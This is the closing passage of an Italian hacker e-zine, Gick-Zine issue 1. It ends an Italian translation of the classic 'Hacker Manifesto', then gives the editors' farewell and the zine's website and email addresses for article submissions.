|no come gocce d'acqua in deserto. |
| |
|Questo ora è il nostro mondo... il mondo dell'elettrone e del commutatore, la |
|bellezza del baud. Noi facciamo uso di un servizio che esiste già senza pagare |
|per quello che potrebbe essere a buon prezzo se non fosse gestito da avidi pro- |
|fittatori, e voi ci chiamate criminali. |
|Noi esploriamo... e voi ci chiamate criminali. |
|Noi cerchiamo la conoscenza... e voi ci chiamate criminali. |
|Noi esistiamo senza colore della pelle, senza nazionalità, senza pregiudizi reli|
|giosi... e voi ci chiamate criminali. Voi costruite bombe atomiche, voi fate la |
|guerra, voi uccidete, spergiurate, e ci mentite e tentate di farci credere che è|
|per il nostro bene, eppure siamo noi i criminali. |
| |
|Si, sono un criminale. Il mio crimine è la curiosità. Il mio crimine è quello di|
|giudicare la gente in base a quello che pensa e dice, non per come appare. |
|La mia colpa è quella di essere più furbo di voi e, per questo, non potrete perd|
|onarmi. |
| |
|Io sono un hacker, e questo è il mio manifesto. Voi potete fermare questo indi- |
|viduo, ma non potete fermarci tutti... dopotutto, siamo tutti uguali! |
| |
+--------------------------------------------------------------------------------+


____ _ _
/ ___|___ _ __ ___| |_ _ ___(_) ___ _ __ ___
| | / _ \| '_ \ / __| | | | / __| |/ _ \| '_ \ / _ \
| |__| (_) | | | | (__| | |_| \__ \ | (_) | | | | __/
\____\___/|_| |_|\___|_|\__,_|___/_|\___/|_| |_|\___|



+--------------------------------------------------------------------------------+
| Gick-Zine n° 1 - [CONCLUSIONE] -=[#1]=- |
| Cenni Finali -=(Gick)=- |
+--------------------------------------------------------------------------------+
| |
|Bene, questo primo numero della Zine è giunto al termine, spero che sia stato |
|utile a qualcuno... |
| |
|Vi ricordo che siete tutti invitati a inviare i vostri articoli all'indirizzo: |
|articoli@gick.cjb.net |
| |
+--------------------------------------------------------------------------------+


.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.


+--------------------------------------------------------------------------------+
| Gick-Zine n° 1 - [CONCLUSIONE] -=[#2]=- |
| Dove Trovarci -=(Gick)=- |
+--------------------------------------------------------------------------------+
| |
| SitoWeb: www.gick.cjb.net |
| |
| e-m@il: mail@gick.cjb.net |
| |
| Per inviare gli articoli: articoli@gick.cjb.net |
| |
| Ciao a tutti e alla prossima puntata... |
| |
+--------------------------------------------------------------------------------+

← previous
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT